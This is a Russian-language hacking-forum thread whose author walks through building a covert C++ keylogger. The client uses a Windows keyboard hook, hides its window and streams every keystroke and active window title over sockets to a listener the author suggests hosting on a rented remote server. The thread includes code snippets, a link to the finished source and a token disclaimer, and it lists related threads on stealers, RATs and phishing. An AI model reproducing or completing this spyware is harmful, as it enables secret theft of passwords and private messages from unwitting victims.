Пишем переносной кейлоггер на C++

Статус
Закрыто для дальнейших ответов.

VLAD1337

Original poster
Pro Member
Сообщения
66
Реакции
32
Посетить сайт

Вся информация предоставлена исключительно в ознакомительных целях. Ни администрация, ни автор не несут ответственности за любой возможный вред, причиненный материалами данной статьи.
Предисловие
На протяжении, примерно, месяца я постоянно наблюдал за различными просьбами, вопросами насчет кейлоггеров. Многие искали, но не могли найти исходники, многие искали, но не могли найти продажники и т.д.

В этой статье я хочу показать, насколько просто написать самому кейлоггер с базовым функционалом. Базу я позаимствовал отсюда -

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.

, пофиксил баги и доработал под взаимодействие с WinSocket.


Материалы
  • Visual Studio 2015 Community Update 4
  • Visual C++ 2015
Структура приложения
Для начала необходимо определить, как вообще будет работать кейлоггер. Будь то отсылка логов на FTP/Почту, запись нажатий в сокет, отправка файла на гейт, запись логов в бд.
Я решил остановится на сокетах. Почему? Это удобно, просто и юзабельно.
Исходя из выбора, нам нужно будет сделать 2 приложения:

Сервер
  • Консольное приложение, которое будет принимать данные от клиента и выдавать в консоли
Клиент
  • Собственно, сам кейлоггер, который будет отсылать нажатия клавиш на сервер
И начнем мы, пожалуй, с сервера.

Сервер
Создаем консольное C++ приложение в Visual Studio.
Весь код есть в оф. примере MSDN -

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.


Нам лишь нужно заменить некоторые значения в нем...
Сразу пропишем константные переменные: величину буффера и порт сервера, на который будут приходить логи

Код:
#define DEFAULT_BUFLEN 1024 //Буффер
#define DEFAULT_PORT "1337" //Порт
Вместо единоразового do/while ставим бесконечный цикл, в котором будем принимать данные от клиента, выводить их в консоль, закрывать соединение и по новой:
Код:
do {
  ClientSocket = accept(ListenSocket, NULL, NULL); //Принимаем коннект
  iResult = recv(ClientSocket, recvbuf, recvbuflen, 0);//Считываем лог
  if (iResult > 0) //Если лог не пустой
    printf("%s", recvbuf); //Выводим
  closesocket(ClientSocket);//Закрываем соединение
  memset(recvbuf, 0, sizeof recvbuf);//Освобождаем память
}
while (true);
Компилируем в Release, закидываем на дедик, открываем нужный нам порт и запускаем

Клиент

Создаем приложение Win32 в Visual Studio.
Как я уже и говорил выше, хук клавиатуры и обработчик нажатий я взял с

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.


Чтоб прикрутить отправку нажатия на сокет я обратился к

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.


Так же, сразу определяем константные переменные: длину буффера, айпи дедика/компа и порт

Код:
#define DEFAULT_BUFLEN 20000
#define SERVER_IP "127.0.0.1"
#define SERVER_PORT "1337"
Некоторые переменные пришлось вытащить из их методов и сделать глобальными, чтобы код начал работать корректно:
Код:
WSADATA wsaData;
SOCKET ConnectSocket = INVALID_SOCKET;
HHOOK _hook;KBDLLHOOKSTRUCT kbdStruct;
char lastwindow[256];
int Save(int key_stroke);// Убрал второй аргумент
Создаем метод отправки данных на сервер по примеру, который был в начале абзаца. Далее, везде заменяем порт, айпи и передаваемую инфу на аргументы функции:
Код:
void sendData(char *ip, char * port, char*data)
В методе Save делаем следующее - убираем второй аргумент и меняем запись логов в файл на отправку к серверу:
Код:
char data[DEFAULT_BUFLEN];
sprintf(data, "\n\n[Window: %s - at %s]\n", window_title, s);   sendData(SERVER_IP, SERVER_PORT, data);
Далее, по такому же принципу, меняем отправку в нажатиях служебных клавиш. Отправку букв можно сделать таким образом:
Код:
char c[512];
sprintf(c, "%c", key_stroke);
sendData(SERVER_IP, SERVER_PORT, c);
Вырезаем все что связано с видимостью окна из кода, и, готово.

Итог

При запуске кейлоггера, он повиснет в процессах и будет обрабатывать каждое нажатие на клавиатуре. Возможно, некоторые символы будут отображаться некорректно, например, слеши, но все это можно исправить самому (ведь если бы все было идеально, ко мне в личку стучал Иисус с просьбой проверить продажник приватного кейлоггера).

Лог будет выглядеть так:



Ссылки

Сигнатурные сканы (не спрашивайте зачем просканил сервер, просто так):
Кейлоггер, взятый за основу -

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.


Сокет-сервер -

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.


Сокет-клиент -

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.


Готовые исходники проекта -

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.

 
Последнее редактирование модератором:
  • Like
Реакции: Dmitriy222

YaNikto11

Member
Сообщения
19
Реакции
2
Посетить сайт
Чувак, я данвно почитываю тебя. Ну как давно, с момента регистрации. Ну ты кул короче) Красавчик)
 
Статус
Закрыто для дальнейших ответов.
Название темы
Автор Заголовок Раздел Ответы Дата
A Пишем свой RAT на Python > {Часть 1} Уязвимости и взлом 0
UnderD0g Интересно PHP - Пишем свой фишинг скрипт для кражи тт аккаунтов {Уровень: EASY} Другие ЯП 2
LightMan Интересно C# - Пишем Watchdog (Модуль защиты вашего трояна) .NET 2
K Интересно [Roman Akhromieiev] Telegram. Пишем ботов на Node JS и Telegraf (2020) Другое 1
Daniel01 Пишем малютку для скана сайта Софт от наших юзеров 6
АнАлЬнАя ЧуПаКаБрА Интересно Пишем брут на любой(почти) банк [OFX] Другие ЯП 1
shellest Пишем свой перехватчик СМС Android Другие ЯП 2
T0pDro4eR Пишем WinLocker на Delphi С/C++ 0
NikitaBoom Пишем отзывы и получаем от 200 рублей в день. Способы заработка 12
Forevonly Пишем парсер на Python - грабим Proxy ч.2 Бруты/Парсеры/Чекеры 0
Forevonly Пишем парсер на Python - грабим Proxy ч.1 Бруты/Парсеры/Чекеры 2
Forevonly Пишем скрипт для работы с VirusTotal-ом Полезные статьи 0
Forevonly Пишем шифровальщик на python Полезные статьи 0
Traven Пишем спамер Telegram, на Python Другое 0
Traven Пишем свой стиллер на Python Другие ЯП 4
Traven WinLocker на python. Пишем вирус. Другое 0
OUTCAST Пишем стиллер на Batch Вирусология 15
AngelOfLove Delphi для начинающих – Урок 6 – Пишем свой калькулятор С/C++ 0
eceNin [PHP] Пишем свой движок 2.0 Другие ЯП 0
Glods Пишем многопоточный Brute С/C++ 0
rif009 Пишем билдер C# вариант 1 .NET 2
Anorali Свой мини кейлоггер на python. Часть 3 Вирусология 2
Anorali Свой мини кейлоггер на python. Часть 2 Вирусология 0
Anorali Свой мини кейлоггер на python Вирусология 4
andre5787 Как создать свой кейлоггер без знания языков программирвония? Вопросы и интересы 5
N Устанавливаем и запускаем кейлоггер на Linux. Анонимность и приватность 0
farhad.tiger Создам Вам RMS, стиллер, кейлоггер под ключ[free] Spam/DDOS/Malware 2

Название темы